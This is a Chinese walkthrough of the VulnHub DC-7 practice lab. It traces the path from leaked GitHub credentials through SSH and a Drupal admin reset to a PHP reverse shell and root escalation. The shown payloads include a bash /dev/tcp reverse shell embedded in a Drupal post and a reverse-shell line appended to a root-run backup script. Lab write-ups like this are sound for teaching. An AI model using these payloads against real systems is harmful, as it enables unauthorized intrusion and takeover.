vulnhub靶场【DC系列】之7
前言
靶机:DC-7,IP地址为192.168.10.13
攻击:kali,IP地址为192.168.10.2
都采用VMWare,网卡为桥接模式
对于文章中涉及到的靶场以及工具,我放置在网盘中,链接:https://pan.quark.cn/s/203d4b01f3d7
主机发现
使用arp-scan -l或者netdiscover -r 192.168.10.1/24
因为是靶机,所以在同一局域网中,这里使用这两个工具是因为在同一局域网中的扫描速度很快
当然,如果想要模拟真实渗透,可以使用nmap等扫描工具

主机发现
使用arp-scan -l或者netdiscover -r 192.168.10.1/24
因为是靶机,所以在同一局域网中,这里使用这两个工具是因为在同一局域网中的扫描速度很快
当然,如果想要模拟真实渗透,建议使用nmap等扫描工具

网站信息探测
访问80端口默认界面,发现这个CMS之前见过,是drupal,不过这里给出的话有点东西,下面翻译看看

把这段话翻译,然后以图片来看,应该更直观

使用whatweb进一步确定drupal是否正确
whatweb http://192.168.10.13

这里看到是drupal 8在之前的DC-1靶场中是drupal 7版本,然后通过msf进行的攻击
但是这里不行,按照提示,虽然进行爆破没有什么用,但是还是进行一下目录扫描,不过这次感觉东西是真多,之前并未出现这种情况,感觉是作者为了再次的提醒一样,这里放一张图吧,是放在那里进行好久的目录爆破

漏洞寻找
再使用burp等工具尝试对登录进行一个爆破,发现若长时间的爆破,会使得其进行了限制,注意,这里是对账号进行的限制

尝试获取js代码,测试有无这方面的,但是发现基本上都是调用外部js,无用处
在发现的搜索处进行各种注入测试,发现也是不行,使用sqlmap测试,发现也是不行

抓取每个请求的数据包,发现也是无内容,那么尝试搜搜,看能否有源码之类的泄露,尝试直接搜索drupal 8,但是想到这里都是纯净的原始状态,除非进行代码审计,去把其中的代码进行分析,然后找出漏洞
啧,再找找。在网站的底部,发现一串字符,想来,平常这种位置,一般也是邮箱偏多,这种形式,还真是少见的,尝试对这个进行搜索@DC7USER

源码泄露
因为靶机属于国外的作者所制作,所以,这里建议采用google进行搜索,可以明确的看到,在github有项目

查看该项目,可以看到,readme文件,给出了方向,说明找对了方向

在众多代码中,我们要么就是进行代码审计,要么就是寻找配置文件
查看config.php文件,发现关键信息,项目地址https://github.com/Dc7User/staffdb/blob/master/config.php

连接数据库的用户名dc7user和密码MdR3xOgB7#dW
那么在之前端口扫描的时候,并未发现数据库相关的服务端口是开放的,那么就猜测这个用户名和密码,可能是多用的,尝试以这一组身份信息,登录网站
不过这里还是登录不了网站,啧,既然是登录,就不应该如此,说明这一组不是网站的
还有ssh服务,尝试进行登录,登录成功

提权点寻找
查看当前目录下的文件mbox,发现好多信息

到备份数据库数据的目录下,查看,发现数据大小为0

那么查看其中的备份脚本,看以所属者和所属组,以及脚本内容,好家伙,是gpg加密,但是文件无内容,并且尝试解密,也是只有gpg: decrypt_message failed: Unknown system error
并且这个脚本所属组是www-data,加入脚本可以修改或者使用临时环境变量,也都无法提权至root

错误的提权
使用find寻找具有SUID权限文件,发现一个文件,是不是很眼熟,这里在前面的DC-4靶机一样
find / -perm -4000 -print 2>/dev/null

这里与前面的mbox文件中的信息提到的一样,还是再确定一下版本
/usr/sbin/exim4 --version

在kali中使用searchsploit搜索对应的版本漏洞,并复制到当前目录下

如果忘了用法,这里再查看这个脚本即可,脚本文件名加上后面两种即可

然后把这个脚本上传到靶机,可以使用python配合wget或者直接使用scp,因为这里是以ssh连接
scp ./46996.sh dc7user@192.168.10.13:/tmp

这里还可以看到,该脚本具有执行权限,直接执行,但是发现不行

正确的提权方向
那么只能再次回到备份文件脚本的问题,也就是/opt/scripts/backups.sh
因为当前用户dc7user还不属于www-data组,也就是说,两个办法,要不切换到www-data,要不就是root
对于现在的情况来说,只能切换到www-data
这里我在/var/www/html中找到配置文件settings.php,发现其中连接数据库的账号与密码

但是连接数据库后,发现这里面只是记录网站访问等一些信息,并没有用户信息保存在这里
回头查看/opt/scripts/backups.sh脚本,发现这里除了gpg无用,还有一个命令没接触过drush
使用AI搜索一下
Drush 是 Drupal 的配套工具
- Drupal 是一个功能强大的内容管理系统(CMS),用于构建和管理网站。它提供了丰富的网站构建模块、主题系统、用户管理、内容发布等功能。然而,在实际的网站管理和开发过程中,仅仅通过 Drupal 的图形界面来操作可能会比较繁琐。
- 当 Drush 是通过 Composer 在项目本地安装时,它通常位于项目的
vendor/bin/目录下。例如,如果你的 Drupal 项目位于/var/www/drupal_project/,并且通过 Composer 安装了 Drush,那么 Drush 可执行文件可能位于/var/www/drupal_project/vendor/bin/drush
这里列出drush的增、删、改、查的操作
#增操作
drush user-create [new_user_name] --mail=[user_email] --password=[user_password]
#其中[new_user_name]是新用户的用户名,--mail选项用于指定用户的电子邮件地址,--password选项用于指定用户的密码。#删操作
drush user-cancel [user_name]#改操作
drush user-password [user_name] -password=[new_password]
#其中[user_name]是要更改密码的用户名,[new_password]是新密码。#查操作
drush user-list
#列出用户情况
我这里因为执行命令时,出现错误,把admin删除了,所以这里重装靶机,唉😔,不过IP地址没有变
这里测试后,发现只有改和删的操作是可以的
drush user-password admin --password=123

登录网站,为什么,因为根据备份文件,要获取www-data的身份
经过测试,发现并没有可利用点,不过这里可以安装模块,因为网站当前身份是admin
在extend中,尝试安装一些模块,当然这里可以访问其官方网站,然后通过这里去下载
图中,蓝色超链接的标志,这里提供官网模块地址,访问后,可以直接搜索寻找
https://www.drupal.org/project/project_module

但是这里我原本打算,把模块文件下载到kali中,然后修改其中的内容,但是发现本地无法上传成功,不管有无修改,这个方式都不行

获取www-data的反弹1shell
只能采取第一种方式,链接下载,这里的地址,在输入框下面已经给出提示了
For example: https://ftp.drupal.org/files/projects/name.tar.gz
既然无法修改,那么就安装php模块,因为搜索发现在8版本中,取消了这个,所以需要自己主动安装。
可以先访问下面的链接地址,来确定当前版本可支持使用的php
https://www.drupal.org/project/php/releases/8.x-1.0

然后构造链接,从URL下载
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

然后在扩展列表界面,下滑,找到php filter,把这个勾选上,然后再下滑到最后,点击install

成功启动

打开一个文章,然后对其进行编辑,可以发现,可以更改其为php代码的形式

那么新建一个文章,然后使用php格式,然后进行保存
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'");
//system($_REQUEST['cmd']); //用于测试使用
?>
当然,在执行上面的反弹shell时,需要先在kali中开启监听
nc -lvvp 9999
获取到www-data的bash

提权至root
然后在该脚本的末尾加入反弹shell代码,不过需要在kali另起终端,监听8888端口
echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/8888 0>&1'" >> backups.sh
如果,这条命令不行,就可以在https://forum.ywhack.com/shell.php测试合适的,添加就是了

查看flag

这里补充说一下,对于脚本backups.sh,修改后,不要执行,一旦执行,是以当前用户的身份,也就是
www-data执行的,是无法提权的。这里我忘了放图了,在前面,我是借助工具
pspy64获取到backups.sh会以root身份执行,只是时间间隔有点大,所以当时没有截图该工具项目地址
https://github.com/DominicBreuker/pspy/releases
总结
该靶场考察以下几点:
- 对于信息收集时,源码泄露能否会寻找,这里是通过一个作者名搜索到
gihub的项目 - 对于提权时,发现的东西都要去试一试,这里先测试
exim4不行后,再下手脚本文件 - 对于脚本文件的所属者和所属组要搞清楚,这里
dc7user不属于www-data组,所以还需要获取www-data用户的反弹shell,那么就需要从网站下手 - 对于
drush和drupal是配合使用的,所以简单了解drush的增删改查即可 drupal 8下载扩展模块,可以自己选择,不过出于安全,版本8没有php,所以可以安装php- 通过
php中的函数,可执行命令,来获取www-data是shell - 通过
pspy64观察有root执行的定时任务,并且是脚本backups.sh,用户www-data可修改。获取到www-data的bash后,就可以修改文件,添加反弹shell的命令,等待root去执行这个定时任务,触发脚本中的反弹shell代码
相关文章:
vulnhub靶场【DC系列】之7
前言 靶机:DC-7,IP地址为192.168.10.13 攻击:kali,IP地址为192.168.10.2 都采用VMWare,网卡为桥接模式 对于文章中涉及到的靶场以及工具,我放置在网盘中,链接:https://pan.quark…...
iOS - 消息机制
1. 基本数据结构 // 方法结构 struct method_t {SEL name; // 方法名const char *types; // 类型编码IMP imp; // 方法实现 };// 类结构 struct objc_class {Class isa;Class superclass;cache_t cache; // 方法缓存class_data_bits_t bits; // 类的方法…...
Wireshark 学习笔记1
1.wireshark是什么 wireshark是一个可以进行数据包的捕获和分析的软件 2.基本使用过程 (1)选择合适的网卡 (2)开始捕获数据包 (3)过滤掉无用的数据包 (4)将捕获到的数据包保存为文件…...
Oracle OCP考试常见问题之线上考试流程
首先要注意的是:虽然Oracle官方在国际上取消了获得OCP认证需要培训记录的要求,但在中国区,考生仍然需要参加Oracle的官方或者其合作伙伴组织的培训,并且由Oracle授权培训中心向Oracle提交学员培训记录。考生只有在完成培训并通过考…...
微信小程序之历史上的今天
微信小程序之历史上的今天 需求描述 今天我们再来做一个小程序,主要是搜索历史上的今天发生了哪些大事,结果如下 当天的历史事件或者根据事件选择的历史事件的列表: 点击某个详细的历史事件以后看到详细信息: API申请和小程序…...
记一次k8s下容器启动失败,容器无日志问题排查
问题 背景 本地开发时,某应用增加logback-spring.xml配置文件,加入必要的依赖: <dependency><groupId>net.logstash.logback</groupId><artifactId>logstash-logback-encoder</artifactId><version>8…...
【HarmonyOS】纯血鸿蒙真实项目开发---经验总结贴
项目场景: 将已有的Web网页接入到原生App。 涉及到一些网页回退、webviewController执行时机报错1710000001、位置定位数据获取、拉起呼叫页面、系统分享能力使用等。 问题描述 我们在选项卡组件中,在每个TabContent内容页中使用web组件加载网页。 在…...
kettle做增量同步,出现报错:Unrecognized VM option ‘MaxPermSize-256m‘
本文内容来自YashanDB官网,原文内容请见:https://yashandb.com/newsinfo/7863039.html?templateId1718516 问题现象 kettle在增量同步过程,出现报错:Unrecognized VM option ‘MaxPermSize256m’ 问题的风险及影响 无法使用ke…...
网络安全、Web安全、渗透测试之笔经面经总结(三)
本篇文章涉及的知识点有如下几方面: 1.什么是WebShell? 2.什么是网络钓鱼? 3.你获取网络安全知识途径有哪些? 4.什么是CC攻击? 5.Web服务器被入侵后,怎样进行排查? 6.dll文件是什么意思,有什么…...
计算机的错误计算(二百零五)
摘要 基于一位读者的问题,提出题目:能用数值计算证明 吗?请选用不同的点(即差别大的数)与不同的精度。实验表明,大模型理解了题意。但是,其推理能力值得商榷。 例1. 就摘要中问题࿰…...
Vue3(一)
1.Vue3概述 Vue3的API由Vue2的选项式API改为了组合式API。但是,也是Vue2中的选项式API也是兼容的。 2.创建Vue3项目 create-vue 是 Vue 官方新的脚手架工具,底层切换到了 vite。使用create-vue创建项目的步骤如下: 安装 create-vue npm i…...
【项目】修改远程仓库地址、报错jdk
一、修改远程仓库地址 进入你刚刚克隆到本地的仓库目录,执行以下命令来修改远程仓库的 URL,将其指向你自己的新仓库: cd 原仓库名 git remote set-url origin <你自己的新仓库的 Git 地址>补充: 错误分析: wa…...
实训云上搭建集群
文章目录 1. 登录实训云1.1 实训云网址1.2 登录实训云 2. 创建网络2.1 网络概述2.2 创建步骤 3. 创建路由器3.1 路由器名称3.1 创建路由器3.3 查看网络拓扑 4. 连接子网5. 创建虚拟网卡5.1 创建原因5.2 查看端口5.3 创建虚拟网卡 6. 管理安全组规则6.1 为什么要管理安全组规则6…...
豆包ai 生成动态tree 增、删、改以及上移下移 html+jquery
[豆包ai 生成动态tree 增、删、改以及上移下移 htmljquery) 人工Ai 编程 推荐一Kimi https://kimi.moonshot.cn/ 推荐二 豆包https://www.doubao.com/ 实现效果图 html 代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF…...
【网络协议】IPv4 地址分配 - 第二部分
前言 在第 1 部分中,我们学习了 IPv4 地址的分配方式,了解了各种类型的 IPv4 地址,并进行了基础的子网划分(Subnetting)。在第 2 部分中,我们将继续学习子网划分,并引入一些新的概念。 【网络…...
攻防世界 bug
发现有Register界面,先去注册 登录以后发现以下界面,点击Manage显示you are not admin,并且在注册界面用admin为注册名时显示用户名已存在。初步推测是设法改变admin的密码取得权限。 在主界面一通操作并没有什么发现,去findpw…...
Flink如何设置合理的并行度
一个Flink程序由多个Operator组成(source、transformation和 sink)。 一个Operator由多个并行的Task(线程)来执行, 一个Operator的并行Task(线程)数目就被称为该Operator(任务)的并行度(Parallel)。即并行度就是相对于Operator来说的。 合理设置并行度可以有效提高Flink作业…...
小兔鲜儿:生鲜区域,最新专题
生鲜区域: 生鲜区域标题部分: 生鲜区域内容部分: 分左右两个部分 右边区域是8个 li 标签区域,li中嵌套 a ,上部分是图片,下部分是内容;与 a 并列的是cover,定位在 li 之外,设置是溢出隐藏&…...
TypeScript语言的网络编程
基于 TypeScript 的网络编程探索 随着互联网技术的发展,网络编程已成为软件开发中不可或缺的一部分。尤其是在构建现代 Web 应用程序时,网络编程的各个方面,包括 HTTP 请求、WebSocket、API 交互等,都扮演着至关重要的角色。Type…...
复合机器人助力手机壳cnc加工向自动化升级
在当今竞争激烈的制造业领域,如何提高生产效率、降低成本、提升产品质量,成为众多企业面临的关键挑战。尤其是在手机壳 CNC 加工这一细分行业,随着市场需求的持续增长,对生产效能的要求愈发严苛。而复合机器人的出现,正…...
Bypass Paywalls Clean技术实现:浏览器扩展的付费内容访问完整方案
Bypass Paywalls Clean技术实现:浏览器扩展的付费内容访问完整方案 Bypass Paywalls Clean是一款基于Chrome扩展架构的智能内容访问工具,通过请求头优化、脚本注入和动态解析技术,为技术爱好者和进阶用户提供突破网站付费限制的深度解决方案&…...
MedGemma医疗助手:5分钟本地部署,打造你的专属AI医生
MedGemma医疗助手:5分钟本地部署,打造你的专属AI医生 引言 深夜,当你感到身体不适,想初步了解症状时,身边有一位随时待命、知识渊博的“医生”可以咨询,而且这位“医生”的回答过程完全透明,每…...
Step3-VL-10B-Base助力互联网内容分析:海量图文信息的情感与主题挖掘
Step3-VL-10B-Base助力互联网内容分析:海量图文信息的情感与主题挖掘 每天,互联网上都会产生数以亿计的图文内容,从社交媒体上的随手一拍,到新闻网站的长篇报道。对于品牌方、内容平台或是研究者来说,如何从这片信息的…...
IndexTTS2 V23问题排查:端口冲突、模型下载慢?常见问题一键解决
IndexTTS2 V23问题排查:端口冲突、模型下载慢?常见问题一键解决 1. 快速入门:IndexTTS2 V23简介 IndexTTS2 V23是由开发者"科哥"推出的最新开源文本转语音(TTS)系统,相比前代版本,它在情感控制和语音自然度…...
20个AI核心概念轻松入门:从零基础到实战应用,秒变AI达人!
本文以最简单的方式拆解了20个最重要的AI概念,涵盖神经网络、迁移学习、分词、嵌入向量、注意力机制、Transformer模型、大语言模型(LLM)、上下文窗口、温度系数、幻觉等,旨在帮助零基础读者理解AI底层原理。文章通过直观例子和清…...
Java 虚拟线程并发最佳实践:高并发编程新范式
Java 虚拟线程并发最佳实践:高并发编程新范式今天我们来聊聊 Java 虚拟线程的并发最佳实践,这是 Java 21 带来的革命性特性。一、虚拟线程概述 虚拟线程(Virtual Threads)是 Java 21 引入的轻量级线程实现,它彻底改变了…...
C# 已经有了IEnumerator为什么还要封装一个IEnumerable呢
一句话回答你的问题:IEnumerator 是让你走的腿,IEnumerable 是保证每次走路都从原点出发的规则。如果没有 IEnumerable,所有的集合遍历都会变成一次性的磁带,读完就废了它们解决的是两个不同层面的问题:1. 状态的独立性…...
Gradio UI定制化:修改SenseVoice-Small webui.py实现多语言切换+结果导出功能
Gradio UI定制化:修改SenseVoice-Small webui.py实现多语言切换结果导出功能 1. 引言:为什么需要定制化语音识别界面 如果你用过语音识别工具,可能会发现一个普遍问题:界面功能太固定。比如,你想切换识别语言&#x…...
动态规划——01背包问题、完全背包(python、一维DP)
01-背包问题:从最大容量开始,从后往前遍历背包容量每种物品只能选择一次。物品种类为n,背包容量为k。从最大容量开始,从后往前遍历背包容量,小于当前物品容量的背包大小不遍历,即遍历到w[i]即可。ÿ…...
Python + LlamaIndex 构建本地知识库:打造企业级私有 RAG 系统
零 API 费用、数据完全本地、支持多种文档格式。本文带你从安装到实战,45 分钟搭建一个企业级本地知识库系统。 一、为什么要构建本地知识库? 对比维度 云端知识库(Notion AI / 飞书) 本地 RAG(LlamaIndex) 费用 按用户/容量付费,20-100/人/月 完全免费 数据隐私 数据上…...
